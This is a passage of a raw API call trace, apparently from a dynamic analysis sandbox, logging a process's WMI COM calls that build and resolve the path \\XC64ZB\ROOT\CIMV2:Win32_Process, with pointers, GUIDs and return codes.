WbemDefPath:IWbemPath:SetText (This=0x1b4b05a0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0114.814] IWbemClassObject:Get (in: This=0x1b4d7220, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0114.814] SysStringByteLen (bstr="XC64ZB") returned 0xc [0114.814] SysStringByteLen (bstr="XC64ZB") returned 0xc [0114.814] IWbemClassObject:Get (in: This=0x1b4d7220, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0114.814] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0114.814] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0114.815] IWbemClassObject:Get (in: This=0x1b4d7220, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0114.815] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0114.815] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0114.815] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0114.815] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0114.815] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0114.815] IUnknown:Release (This=0x6124e8) returned 0x1 [0114.816] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2700) returned 0x0 [0114.816] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2700, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0114.816] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2700, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4aeda0) returned 0x0 [0114.816] WbemDefPath:IUnknown:Release (This=0x1b4d2700) returned 0x0 [0114.816] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4aeda0) returned 0x0 [0114.816] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0114.816] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0114.816] WbemDefPath:IUnknown:AddRef (This=0x1b4aeda0) returned 0x3 [0114.816] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0114.816] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0114.816] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2740) returned 0x0 [0114.816] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2740, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0114.816] WbemDefPath:IUnknown:Release (This=0x1b4d2740) returned 0x3 [0114.816] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0114.817] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0114.817] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0114.817] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x2 [0114.817] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x1 [0114.817] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0114.817] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0114.817] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4aeda0) returned 0x0 [0114.817] WbemDefPath:IUnknown:AddRef (This=0x1b4aeda0) returned 0x3 [0114.817] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x2 [0114.817] WbemDefPath:IWbemPath:SetText (This=0x1b4aeda0, uMode=0x4, pszPath="") returned 0x0 [0114.817] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0114.817] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0114.817] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0114.817] IUnknown:Release (This=0x6124e8) returned 0x1 [0114.818] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2800) returned 0x0 [0114.818] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2800, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0114.818] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2800, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b0720) returned 0x0 [0114.818] WbemDefPath:IUnknown:Release (This=0x1b4d2800) returned 0x0 [0114.818] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b0720) returned 0x0 [0114.818] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0114.818] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0114.818] WbemDefPath:IUnknown:AddRef (This=0x1b4b0720) returned 0x3 [0114.818] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0114.818] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0114.818] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2760) returned 0x0 [0114.818] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2760, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0114.818] WbemDefPath:IUnknown:Release (This=0x1b4d2760) returned 0x3 [0114.818] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0114.819] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0114.819] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0114.819] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x2 [0114.819] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x1 [0114.819] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0114.819] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0114.819] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b0720) returned 0x0 [0114.819] WbemDefPath:IUnknown:AddRef (This=0x1b4b0720) returned 0x3 [0114.819] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x2 [0114.819] WbemDefPath:IWbemPath:SetText (This=0x1b4b0720, uMode=0x4, pszPath="") returned 0x0 [0114.819] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0720, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0114.819] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aeda0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0114.819] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4b0720, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0114.819] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b0720, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0114.819] WbemDefPath:IWbemPath:SetServer (This=0x1b4b0720, Name="XC64ZB") returned 0x0 [0114.819] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0114.819] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0114.819] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0114.819] IUnknown:Release (This=0x6124e8) returned 0x1 [0114.820] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d27c0) returned 0x0 [0114.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d27c0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0114.820] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d27c0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4afe20) returned 0x0 [0114.820] WbemDefPath:IUnknown:Release (This=0x1b4d27c0) returned 0x0 [0114.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4afe20) returned 0x0 [0114.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0114.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0114.821] WbemDefPath:IUnknown:AddRef (This=0x1b4afe20) returned 0x3 [0114.821] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0114.821] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0114.821] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2800) returned 0x0 [0114.821] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2800, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0114.821] WbemDefPath:IUnknown:Release (This=0x1b4d2800) returned 0x3 [0114.821] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0114.821] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0114.821] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0114.821] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x2 [0114.821] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x1 [0114.821] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0114.821] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0114.821] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4afe20) returned 0x0 [0114.821] WbemDefPath:IUnknown:AddRef (This=0x1b4afe20) returned 0x3 [0114.821] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x2 [0114.821] WbemDefPath:IWbemPath:SetText (This=0x1b4afe20, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0114.821] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0720, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0114.821] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afe20, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0114.821] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afe20, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0114.821] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afe20, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0114.821] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4b0720) returned 0x0 [0114.822] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afe20, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0114.822] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afe20, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0114.822] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afe20, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0114.822] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b0720, uIndex=0x0, pszName="ROOT") returned 0x0 [0114.822] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afe20, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0114.822] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afe20, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0114.822] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b0720, uIndex=0x1, pszName="CIMV2") returned 0x0 [0114.822] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4b0720, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0114.822] WbemDefPath:IWbemPath:SetClassName (This=0x1b4b0720, Name="Win32_Process") returned 0x0 [0114.822] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0720, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0114.822] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0720, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0114.822] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0720, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0114.822] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0720, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0114.822] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0720, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0114.822] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0720, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0114.822] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0720, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0114.822] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0720, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0114.822] 